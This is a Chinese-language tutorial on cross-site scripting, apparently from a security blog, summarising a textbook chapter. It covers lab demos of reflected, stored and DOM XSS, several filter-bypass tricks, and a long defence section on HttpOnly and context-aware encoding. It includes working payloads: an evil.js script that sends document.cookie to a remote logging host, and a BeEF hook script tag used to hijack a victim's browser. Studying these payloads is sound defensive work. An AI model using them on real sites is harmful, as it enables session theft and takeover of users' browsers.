WEB安全基础篇-跨站脚本攻击（XSS）
前言
此文章总结学习于《白帽子讲WEB安全》
跨站脚本攻击（XSS）是客户端安全的头号大敌，OWASP TOP 10多次把xss列在榜首。
一、XSS简述
XSS攻击是指黑客通过“HTML注入”篡改网页，插入恶意的脚本，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
1.1 什么是XSS
假设一个用户输入的参数直接输出到页面上**（本章全程使用phpStudy进行环境部署）**
<?php $input = $_GET["test"]; echo "<div>".$input."</div>"; ?>
访问此php界面，想test参数提交数据，页面会展示提交的数据内容
http://192.168.163.131/test.php?test=ceshi
上面我们可以看到和我们猜想的一样。
如果我们提交的数据改为一段js代码
http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>
我们看到script脚本被执行，我们在看一下源代码
<div><script>alert(/test!!!/)</script></div>
script脚本被加载到页面中，这显然是有问题的。
1.2 XSS分类
XSS根据效果可以分为三类：
反射型XSS
我们上面的例子就是反射型的xss，就是把用户输入的数据“反射”给浏览器，也就是说，用户在访问恶意链接时，才能攻击成功，反射型xss也叫做非持久性xss。
存储型XSS
存储型xss会把用户输入的数据存储在服务器端，这种sxx具备很强的稳定性，常见的场景就是，黑客写下一篇包含恶意js脚本的博客，其他用户浏览包含恶意js脚本的博客，会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的，所以这种xss攻击叫做“存储型xss"
DOM XSS
这类XSS非按照数据是否保存在服务的来划分的，DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与，触发XSS的是浏览器端的DOM解析。
1.3 DOM XSS漏洞演示
通过修改页面的DOM节点形成的xss，称之为DOM XSS
看如下代码
<script>
function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />
点击wirte会有一个超链接，其地址为文本框的内容。
这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中，修改了页面的DOM节点，通过innerHTML把一段用户数据当作html写入到页面中，这就造成了DOM based XSS。
构造如下数据
' onclick=alert(/xss/) //
输入之后界面代码局变成了
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先用一个单引号闭合掉href的第一个单引号，然后插入一个onclick事件，最后用注释符“//”注释掉单引号。点击新生连接，脚本将被执行。
实际上，这里还有另外一种利用方式，除了构造一个新事件外，还可以选择闭合掉标签，并插入一个新的HTML标签。尝试如下输入
'><img src=# onerror=alert(/xss1/) /><'
页面代码变成了
<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>
脚本被执行
二、XSS攻击进阶
2.1 初探XSS Payload
XSS攻击成功后，攻击者能过对用户当前浏览的页面进行植入恶意脚本，通过恶意脚本，控制用户的浏览器。这些以完成各种功能的恶意脚本，被称为“XSS Payload”
XSS Payload实际上就是javascript（flash或其他富客户端的脚本），所以在任何JavaScript脚本能实现的功能，xxs payload都能做到。
2.1.1 Cookie 劫持
cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台
攻击者加载一个远程脚本
http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>
真正xxs payload写在这个远程脚本中，避免直接在url中写入大量的javascript代码
evil.js文件
var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);
这段是插入一个看不到的图片，同时把document.cookie对象当作参数发送到远程服务器。，实际上http://192.168.163.143/log不用存在，因为这个请求会在远程服务器上的web日志中记录
tail -f /var/log/apache2/access.log
2.1.2 cookie登录
首先管理员用户登录cms测试平台
F12在控制台输入
document.cookie
登录test用户，使用burp拦截请求包，将cookie修改为admin用户的cookie
放开拦截，我们发现test变为admin用户
所以xss攻击，可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。
2.2 强大的XSS Payload
ciooke劫持并非所有时候都有效，有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识；有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。
尽管如此，在xss攻击成功后，攻击者仍然有许多方式能控制用户的浏览器
1、构造GET与POST请求
2、使用XSS钓鱼，模拟一个登录窗口等。
3、识别用户浏览器
我们可以通过xss收集一些用户个人信息，实现精准的浏览器内存攻击，最终实现给电脑注入一个木马。
navigator.userAgent
OS版本信息：Windows NT 6.1; Win64; x64 浏览器版本：Chrome 101.0.4951.64
但是这个useragent信息是可以伪造的，所以通过javascript取出来的这个信息不一定正确。
4、识别用户安装的软件
知道用户的浏览器、操作系统后，进一步识别用户安装的软件。
5、CSS History Hack
其原理市利用style的visited属性，如果用户曾经访问某个连接，那么这个链接的颜色会变得与众不同。
<body> <a href=# > 曾经访问过的 </a> <a href="notexist">未曾访问过的</a> </body>
6、获取用户的真实IP地址
2.3 XSS攻击平台
xss payload如此强大，为了方便，安全研究者将许多功能封装起来，成为xss攻击平台。
AttackApi是一个用于XSS攻击的JS库，你不用再写那些繁琐的涉及到各种标签各种dom各种系统各种浏览器的基础代码，直接调用AttackAPI为你封装好的那些函数即可。
2.3.1 Beefxss工具演示
工具介绍
BeEF-XSS是一款非常强大的web框架攻击平台，集成了许多payload，可以实现许多功能。
BeEF-XSS生成交互paylaod的hook 服务器端：beef作为服务端管理，管理访问运行了hook的客户端 客户端：运行与客户端浏览器的 Javascript 脚本（hook），也就是beef生成的payload。 beef将运行了hook的web浏览器钩住，进行管理
beef能配合xss，将hook插入到存在xss的注入处；直接诱使客户端访问含有 hook 的伪造站点，结合中间人攻击注入 hook 脚本
工具下载
beef只支持Linux平台，Ruby的版本需要在2.5以上，kali中自带beef
下载： git clone http://github.com/beefproject/beef
安装配置查看： http://github.com/beefproject/beef/wiki/Installation
beef如果用于实战的话，需要建立连接的时候要使受害机能访问到beef，因此需要一个公网ip。
使用测试
kali攻击者：192.168.163.128
DVWA靶机：192.168.163.131
1、更该beef的默认用户名密码
vi /etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef，如果需要更改beef的用户密码，则在配置文件里面更改user和passwd的值,（默认是修改密码的，不然启动的时候会报警告）。
启动beef服务端
beef-xss
beef的服务端地址，用户密码为默认的beef，密码为你自己修改之后的密码
http://127.0.0.1:3000/ui/panel
登录成功后，这里会显示在线和不在线的主机，在线就是现在该主机浏览器执行了我们的js脚本代码，不在线的就是该主机曾经执行过我们的js脚本代码，但现在关掉了该界面。
插入脚本hook到靶机
我们的hook启动的时候已经给出：
[*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
kali的地址为192.168.163.128，那么靶机上插入的hook js脚本为：
<script src="http://192.168.163.128:3000/hook.js"></script>
在靶机DVWA，把"DVWA security"等级改成"low",然后打开"XSS stored",把我们的脚本代码存储起来。这样就形成了一个存储型XSS，当受害者(windows 7)浏览该页面时，就被劫持了。
留言提交后，靶机的浏览器就被beef钩上了：
beef管理
在beef上钩了的受害机，beef对其可以获取很多主机、浏览器信息
1、Details是浏览器信息详情
2、logs模块-日志记录
3、commands-命令模块
主要模块
-Browsers（浏览器） - Exploits（攻击） - Host（主机） - Persistence（持久） - Network（网络）
绿色圆圈：表示模块适合目标浏览器，并且执行结果对客户端不可见
红色圆圈：表示模块不适用与当前用户，有些红色模块也可以正常执行
橙色圆圈：模块可用，但结果对用户可见（CAM 弹窗申请权限）
灰色圆圈：模块未在目标浏览器上测试过
XSS-Proxy
是一个轻量级的XSS攻击平台，通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器
2.4 XSS Worm
一般来说，用户之间发生交互行为的页面，如果存在存储型XSS，则比较容易发生xss worn攻击。比如：用户留言，个人信息等
2.5 XSS构造技巧
2.5.1 利用字符编码
在使用GB2312编码的网页上，script标签输出一个变量，提交输入的是 “；alert(/xss/)” 来实现xss攻击，使用 " 来闭合前面的符号，但是页面转义了双引号，所以实际代码如下：
let redirectUrl = "\";alert(/xss/);";
正常情况下这样是没发引起xss的，因为变量处于双引号之内，系统转义了双引号。
但在使用GB2312编码页面中， “%c1\”两个字符组合在一起会成为一个unicode字符，于是可以构造输入
let redirectUrl = "%c1\";alert(/xss)";
提交之后，通过GB2312编码转义就会变成
let redirectUrl = "繺";alert(/xss/);
刚好把“\”给覆盖掉。
"%c1" 这两个字符组成一个新的unicode字符，"%c1" 把转义符"\“ 给吃掉了，从而绕过了系统的安全检查。
2.5.2 绕过长度限制
很多时候，产生xss的地方会有变量的长度限制，这个限制可能是服务器端逻辑造成的，假设下面代码存在一个xss漏洞
<input type=test value="$var" />
服务器如果对输入变量”$var“ 做了严格的长度限制，那么攻击者可能会这样xss
$var为： "><script>alert(/xss/)</script>
希望达到的输入效果是
<input type=test value=""><script>alert(/xss/)</script> />
假设长度限制为20个字符，则这段xss会被切割为
$var 输入为："><script>alert(/xss
连一个完整的函数都无法写完，这样就xss就可能无法成功了。
但是攻击者可以利用事件来缩短所需要的字符数
$var 输出为：" onclick=alert(1)//
加上空格符正好20个字符，实际输出为
<input type=test value="" onclick=alert(1)//" />
当用户点击文本框后，alert执行
利用事件能够缩短的字节数是有限的，最好的办法就是把xss payload写到别处，在通过简短的代码加载这段xss payload
通常的一个藏代码的地方就是 location.hash。而且跟进http协议，location.hash的内容不会在http包中发送，所以服务端web日志中不会记录location.hash里的内容。
注：hash 属性是一个可读可写的字符串，该字符串是 URL 的锚部分（从 # 号开始的部分）。
$var 输出为：" onclick="eval(location.hash.substr(1))
总40个字节。输出后的html是：
<input type=test value="" onclick="eval(location.hash.substr(1))" />
因为location.hash的第一个字符是#，substr(1)是从1开始，不是从0开始，，此时构造出来的url为
http://127.0.0.1/1.html#alert(1)
location,hash本身没有长度限制，但浏览器的地址栏有长度限制，如果地址栏长度不够用，还可以使用加载远程js的方法。
2.5.3 注释符绕过长度限制
比如我们可能控制两个文本框，第二个文本框允许我们写入更多字节。我们可以通过注释符号把两个文本框之间的HTML代码全部注释掉，从而打通两个标签。
<input id=1 type="text" value="" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="" />
在第一个input框中输入
"><!--
在第二个input框中输入
--><script>alert(/xx/)</script>
最终效果
<input id=1 type="text" value=""><!--" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="--><script>alert(/xx/)</script>" />
中间代码全部被注释
<!--" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="-->
最终效果如下
2.5.4 使用< base>标签
< base>标签并不常用，作用是定义界面上的一个所有相对路径 标签的hosting地址。
比如，打开一张不存在的图片
<body> <img src="/test/1.png"> </body>
实际上这个地址是一张图片，源地址
http://127.0.0.1/test/1.png
在img标签前面添加一个base标签
<body> <base href="http://127.0.0.1" /> <img src="/test/1.png"> </body>
base标签可以出现在页面的任何地方，并作用于位于该标签之后的所以标签。
如果攻击者在页面插入了base标签，就可以通过远程服务器伪造图片，连接或者脚本。劫持当前页面中所有使用相对路径的标签。比如：
<base href="http://www.a.com" /> <img src="/test/1.png"> <script src="x.js"></script> <a href="auth.do">auth</a>
所以涉及xss安全方案一定要过滤掉这个非常危险的标签。
2.5.5 window.name 的妙用
对当前窗口的window.name对象赋值，没有特殊字符的限制。因为window对象是浏览器的窗体，而非document对象，因此很多时候，windwo对象不受同源策略的限制。攻击者利用这个对象可以实现跨域、跨界面传递数据。在某些环境下，这些特性将会变得非常有用。
假设“http://192.168.114.130/1.html”的代码为
<body> <script> window.name = "test" alert(document.domain+" "+window.name) window.location = "http://192.168.163.128/index.html" </script> </body>
这段代码将window.name赋值为test,然后显示当前域和window.name的值，最后将其页面跳转到“http://192.168.163.128/index.html”。
“http://192.168.163.128/index.html”的代码为
<body> <script> alert(document.domain+" "+window.name) </script> </body>
我们访问“http://192.168.114.130/1.html”，这里显示了当前域和windows.name值
点击确定后，页面自动跳转到“http://192.168.163.128/index.html”，但是winsow.name值没变
这个过程实现了数据跨域传递：test这个值从http://192.168.114.130传递到了http://192.168.163.128。
使用windo.name可以缩短xss payload的长度。先通过window.name写好alert（”hello“）之类的语句，再在同一窗口打开XSS站点后，输入 eval(name);
2.6 反射型XSS利用技巧-回旋镖
将要利用的反射型XSS嵌入到一个存储型XSS中，这个攻击技巧称为回旋镖。
因为浏览器同源策略的原因，xss也受到同源策略的限制，发生在A域的xss很难影响到B域的用户。
回旋镖的思路：如果在B域上存在一个反射型”xss_b“,在A域上存在一个存储型”xss-a"，当用户访问A域的“xss-a"时，同时嵌入B域上的"xss-b",则可以达到在A域的xss攻击B域用户的目的。
IE浏览器中，< iframe>、< img>、< link>等标签都会拦截第三方cookie的发送。而在firefox中则无这限制（第三方cookie既指保存在本地的cookie，也就是服务器设置了expire（失效日期）时间的cookie。
所以在firefox中只需要在XSS-A处嵌入一个iframe标签即可
<iframe src="http://www.b.com/?xss......"></iframe>
而在IE浏览器中，使用< form>表单，然后提交到B，B再跳转会A；
2.7 Flash XSS
前面说的都是基于HTML的xss，其实Flash中同样可能造成xss攻击。
在Flash中是可以嵌入ActionScript脚本的，常见的Flash xss可以这样写
getURL("javascript:alert(document.cookie)")
ActionScript可以发起网络连接，因此应该禁止用户能够上传或者加载自定义Flash文件。
一定要使用Flash，如果是视频文件，要求转码为”flv“文件，flv是静态文件，不会产生隐患。如果是带动态脚本的Flash，则可以通过Flash参数进行限制。
限制Flash动态脚本的最重要参数是”allowScriptAcccess“,这个参数定义了Flash能否域HTML页面通信，他有三个可选值：
always : 对于HTML的通信也就是执行JavaScript不做任何限制。
sameDomain: 只允许来自于本域的Flash于HTML通信，这是默认值。
never: 绝对禁止Flash与页面通信。
除了allowScriptAccess外，allowNetworking也是非常关键，这个参数可以控制Flash与外部网络通信，他有三个可选值：
all : 允许使用所有网络通信，默认值
internal ： Flash不能与浏览器通信如nacigateToURL，但是可以调用其他的API
none : 禁止任何的网络通信
2.8 JavaScript开放框架
jQuery可能是目前最流行的javaScript框架。jQuery中有一个html()方法，这个方法如果没有参数，就是一个读取DOM节点的innerHTML，如果有参数，则会把参数写入该DOM节点的inner HTML中，这个过程可能产生” DOM Based XSS"
$('div.demo-container').html("<img src=# onerror=alert(1) />");
如上，如果用户能够控制输入，必然存在xss。
三、XSS防御
xss的防御是复杂的
流行浏览器都内置了一些对抗xss的措施，比如Firefox的CSP、Noscript扩展，IE8内置的XSS Filter等。而对于网站来说，也应该有保护用户不被xss攻击的能力。
3.1 HttpOnly
HttpOnly最早是由微软提出，并在IE6实现，逐步称为一个标准，浏览器将禁止页面的javascript访问带有HttpOnly属性的cookie。
其中IE6+、firefo、chrome很多浏览器现在都具备了。
严格地说HttpOnly并非为了对抗XSS，HttpOnly解决的是XSS后的Cookie劫持攻击。
前面我们显示过cookie劫持后。可以登录被劫持后的xss用户。如果该cookie设置了HttpOnly，这种攻击就会失败，因为JavaScript取不到cookie的值。
一个cookie的使用过程如下：
step1: 浏览器向服务器发起请求，这时候没有cookie。
step2 : 服务器返回时发送set-cookie，向客户端浏览器写入cookie。
step3: 在该cookie到前期，浏览器访问该域下的所有界面，都将发送该cookie。
HttpOnly是在set-cookie时标记的
set-cookie:<name>=<value>......[; secure] [; HttpOnly]
服务器可能会设置多个cookie(对应key-value对)，而HttpOnly可以选择性的添加任何一个cookie值上。
某些时候，应用可能需要javaScript访问某几项cookie，这种cookie可以不设置HttpOnly标签，而仅把HttpOnly标记用于认证的关键cookie。
HttpOnly的使用非常灵活，如下是一个使用HttpOnly的过程
<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);
?>
<script>
alert(document.cookie);
</script>
在这段代码中，cookie1没有httponly，cookie2被标记为HttpOnly。我们查看请求包
浏览器的确接收了两个cookie
但是只有cookie1被JavaScript读取到
添加了HttpOnly不等于解决了xss问题，xss攻击还有窃取用户信息，模拟用户身份执行操作等。
3.2 输入检查
常见的web漏洞如XSS、SQL注入等，都是要求攻击者构造一些特殊字符，这些特殊字符可能是正常用户不会用到的，所以就有了检查的必要。
输入检查的代码一定要在服务器端实现，因为如果在客户端使用JavaScript进行输入检查，很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查，客户端可以阻挡大部分错误操作的正常用户，可以节约服务器的资源。
输入检查一般都是检查用户输入的数据中是否包含一些特殊字符，如<，#等，比较智能的，还会匹配xss的特则，如JavaScript，< img>等敏感字符。
这种输入检查方式可以称为“XSS Filter",互联网上很多开源的“XSS Filter"源码。
XSS Filter在用户提交数据时获取变量，并进行xss检查。但此时用户数据并没有结合渲染界面的html，因此XSS Filter对语境的理解并不完整。
如下：
<script src="$var"></script>
$vat就是用户可以控制的变量，用户只要提交一个恶意脚本所在的uel地址，就可以试试xss攻击了。
所以XSS Filter对语境的理解并不完整，很可能改变用户原来的意思。
3.3 输出检查
一般来说出来富文本的输出外，在变量输出到html页面时，可以使用编码或者转义方式来防御xss攻击。
3.3.1 安全的编码函数
编码分为很多种，针对HTML代码的编码方式为HTMLEncode。
HTMLEndo并非专用名词，他只是一种函数实现，他的作用是将字符转换成HTMLEntities，对应的标准是ISO-8859-1。
为了对抗xss,在HTMLEncode中要求至少转化一下字符：
& - &amp < - &lt > - &gt " - &quot ' - ' / - /
在php中，有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。
JavaScript的编码方式可以使用JavaScriptEncode。
JavaScriptEncode需要使用 \ 对特殊字符进行转义。在对抗xss时候，还要去输出变量必须在引号内部。
var x = escapeJavascript($evil); var y = '"'+escapeJavascript($evil)+'"';
如果escapeJavascript()函数只转义了几个危险的字符，比如‘ 、“、<、>等，那么上面两行代码输出后可能会变成
var x = 1;alert(2); var y = "1;alert(2)";
第一行执行额外的代码了，第二行是安全的，对于后者，攻击者即使向逃逸出引号的范围，也会遇到困难。
var y = "\";alert(1);\/\/";
所以要求使用JavaScriptEncode的变量出输出一定要去引号内。
还有一个更加严格的JavaScriptEncode函数来保证安全-除了数字、字母外的所有字符，都使用十六进制“\xHH"方式进行编码，如下
var x = 1;alert(2);
变成了
var x = 1\x3balert\x2822\x29;
除了以上函数，还有其他函数，比如：XMLEncode(其实现与HtmlEncode类似)、JSONEncode(与JavaScriptEnde类似)等。
3.3.2 只需要一种编码吗
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。
python开放框架Django自带的模板系统“Django Templates"中，可以使用escape进行HtmlEncode。比如：
{{var|escape}}
这样写变量会被HtmlEncode编码。
在Django1.0、web2py框架中加强，默认所有变量都会被escape。符合“Secure By Default”原则。
因为语境不同，不是全部都使用auto-escape就可以，需要根据情况分情况对待。
注：经典MVC模式中，M是指业务模型，V是指用户界面，C则是控制器，使用MVC的目的是将M和V的实现代码分离，从而使同一个程序可以使用不同的表现形式。其中，View的定义比较清晰，就是用户界面。
3.4 正确地防御XSS
XSS本质是一种HTML注入，用户的数据被当作HTML代码的一部分，从而混淆原来的语义，产生新的语义。
如果网站时MVC架构，那么XSS就发生在View层，在应用拼接变量到HTML页面时产生。所以在提交数据处进行输入检查的方案，其实并不是在真正发生攻击的地方做防御。
我们尝试将不同场景的xss一一列出，尝试解决
下面变量$var 表示用户数据。
3.4.1 在HTML标签中输出
<div>$var</div> <a href=#>$var</a>
所有在标签中输出的变量，如果未做任何处理，都能导致直接产生XSS。
此场景下，XSS的利用方式一般都是构造一个< script>标签，或者是任何能够产生脚本执行的方式。
<div><script>alert(/xss/)</script></div>
或
<a href=#><img src=# onerror=alert(1) /></a>
防御方法
对变量使用HtmlEncode。
3.4.2 在HTML属性中输出
<div id="abc" name="$var" ></div>
与在HTML标签中输出类似，可能的攻击方法
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法
对变量使用HtmlEncode。
3.4.3 在script标签中输出
在script标签中输出时，首先应该确保输出的变量在引号中
<script> var x = "$var"; </script>
攻击者需要先闭合引号才能试试xss攻击
<script> var x = "”alert(/xss/);//"; </script>
防御方法
对变量使用JavascriptEncode。
3.4.4 在事件中输出
在事件中输出和在< script>标签中输出类似
<a href=# onclick="funcA('$var')">test</a>
可能的攻击方法
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
防御方法
对变量使用JavascriptEncode。
3.4.5 在css中输出
在CSS和style、style attribute中形成的xss方式非常多样化。
防御方法
尽可能禁止用户可控制的变量在< style>标签、HTML标签的style属性以及CSS文件中输出。如果一定有这种需求，则推荐使用OWASP ESAPI中的encodeForCSS函数，此函数除了字母、数字外的所有字符都被编码成为十六进制形式“\uHH”。
3.4.6 在地址中输出
在URL的path（路径）或者search(参数)中输出使用urlEncode即可。URLEncode会将字符转化为%HH形式，比空格就是“%20”等。
<a href="http://www.a.com/?test=$var">test</a>
可能的攻击方法
<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>
经过URLEncode编码后
<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>
还有一种是url的http://(protocal部分)和IP地址（host部分）不能使用urlEncode转发的情况
攻击者伪造协议实施攻击
<a href="JavaScript:alert(1)">test</a>
还有vbscript、dataURL等伪协议可能导致脚本执行。
防御方法
这种情况下如果变量是整改url,则先检查变量是否以http开头，保障不会出现伪协议的xss攻击。在对变量进行URLEncode。
3.5 处理富文本
部分网站允许用户提交一些自定义的HTML代码，称为富文本。
富文本，应严格禁止< iframe>、< script>等标签，只允许< a>、< img>等比较安全的标签，在标签选择上，应该使用白名单、避免使用黑名单。
富文本在处理CSS时，尽可能的禁止用户自定义css与style。
有些开源的XSS Filter项目，可以实现对富文本的xss检查。
3.6 防御DOM Based XSS
DOM Based XSS是一种比较特殊的xss漏洞，前文中提到的几种防御方法都不太合适，需要特别对待
我们看一下之前的例子，看一下DOM Based XSS是如何形成的呢
<script>
function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />
在上面代码onclick事件中，执行了test()函数，而函数中最关键的一句是
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
将HTML代码写入DOM节点，最后导致xss的发生
事实上，DOM Based XSS是从JavaScript中输出数据到HTML页面里，而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞，因此不适用DOM Based XSS。
看一下这个例子
<script>
var x = "$var";
document.write("<a href='"+x+"'>test</a>");
</script>
变量$var在script标签内，可是最后又被document.write输出到HTML界面中。
假设为了保护$var，直接在script标签内产生xss，服务器对其进行javascEscape。可是，$var在document.write时，然仍然能够产生xss
<script>
var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
document.write("<a href='"+x+"'>test</a>");
</script>
通过javascEscape编译，但通过HTML界面渲染后，恶意代码又被识别出来
其原因，第一次执行JavaScriptEscape后，只保护了
var x = "$var";
但是当document.write输出数据到html页面时，浏览器渲染了界面，在< script>标签执行时，已经对变量x进行了界面，在document.write在运行时，其参数变成了
document.write("<a href=' 'onclick=alert(1);//''>test</a>");
XSS因此产生。
那是不是对$var函数用错了编码方式，我们使用htmlEncode，将 Html 源文件中不允许出现的字符进行编码。例如："<"、">"、"&" 等。
<script>
var x = "1");alert("2");//""";
document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>
防御方法
在$var输出到< script>标签时，应该执行一次JavaScriptEncode，其次在document.write输出到HTML页面时，要分具体情况看待：如果是输出到事件或者脚本，则再做一次JavaScriptEncode，如果是输出到HTML内容或者属性，则要做一次HtmlEncode。也就是说从JavaScript输出到HTML页面，也等于一次xss输出的过程，需要分语境使用不同的编码。
会触发DOM Based XSS的地方很多，下面是JavaScript输出到HTML页面的必经之路
document.write() document.writeln() xxx.innerHTML= xxx.outerHTML= innerHTML.replace document.attachEvent() window.attachEvent() document.location.replace() document.location.assign() ......
除了服务器端直接输出变量到JavaScript外，还有以下几个地方可能会成为DOM Based XSS的输入点。
页面中所有inputs框 window.location(href、hash等) window.name document.referrer document.cookie localstorage XMLHttpRequest返回的数据 ......
四、总结
本章从主要是从认识xss、xss payload、xss构造技巧和xss防御方法详细讲述了三类（反射型、存储型、DOM型）XSS漏洞。一般来说存储型的威胁最大，因为可能会跨页面存在也反射型和DOM则需要攻击者诱使用户点击一个包含xss代码的URL连接。理论上，xss漏洞虽然复杂，但却是可以彻底解决的。需要针对不同场景使用不同的防御方法。
- 鼠标悬停也能中招！带毒PPT正用来传播Graphite恶意软件
- 澳大利亚史上最大数据泄露事件，40%的居民信息被泄露
- “匿名者”组织声称黑进了俄罗斯国防部网站
- 为防钓鱼，Win11新版本在记事本、网站中输入密码时会发出警告
- Tomcat架构之为Bypass内存马检测铺路(内存马系列篇四)
- “羊了个羊”遭黑客攻击，还存在安全隐患？
- 研究人员披露了 Oracle 云基础设施中的严重漏洞，现已修复
- Python 15年未修的漏洞可能影响 35万余个项目，速查
- JAVA代码审计之java反序列化
- 开源代码库攻击在三年间暴涨7倍
- 五分之二美国消费者数据被盗,企业也难逃攻击者“毒手”
- 入门学习之社会工程学
- 深陷安全事件泥潭，优步数据泄露何时休？
- 信阳师范学院曝“学信网信息泄露”，学院：已报警，涉事学生干部被撤职
- 无间道！ "沙虫 "组织冒充乌克兰电信公司投放恶意软件
- 绕过检测之Executor内存马浅析(内存马系列篇五)
- 攻击者正冒充美国政府机构骗取承包商Office账户
- “泄露”的咖啡！黑客出售近22万名新加坡星巴克顾客数据
- 手搓Filter内存马从构造到利用讲解(内存马系列篇一)
- 深入底层源码的Listener内存马(内存马系列篇三)